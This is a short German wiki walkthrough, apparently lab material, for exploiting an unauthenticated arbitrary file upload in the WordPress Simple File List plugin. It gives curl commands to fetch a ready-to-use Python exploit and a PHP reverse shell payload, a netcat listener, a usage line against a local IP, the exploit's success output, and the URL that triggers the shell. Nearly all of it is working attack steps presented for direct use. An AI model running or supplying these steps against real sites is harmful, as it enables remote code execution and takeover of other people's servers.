Unauthenticated Arbitrary File Upload

Arbitrary file upload in Simple File List plugin for WordPress

Schachstelle

• Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
• Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
• Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
• Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.

Ablauf

[Bearbeiten]

Python3 Script zum Payload Hochladen

• Das Skript kann unverändert übernommen werden.
• Python3 Script
• curl https://xinux.net/images/d/db/Script.py -o script.py
• chmod +x script.py

PHP Reverse Shell

• Die IP und eventuell der Port müssen angepasst werden.
• payload.txt
• Datei:Payload.txt
• curl https://xinux.net/images/d/d6/Payload.txt -o payload.txt

Angreifer

• netcat -lp 9999

Usage

• python3 script.py http://10.0.10.109

[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
[+] Exploit seem to work.
[*] Confirmning ..

Aufruf

• http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php

Link

https://wpscan.com/vulnerability/10132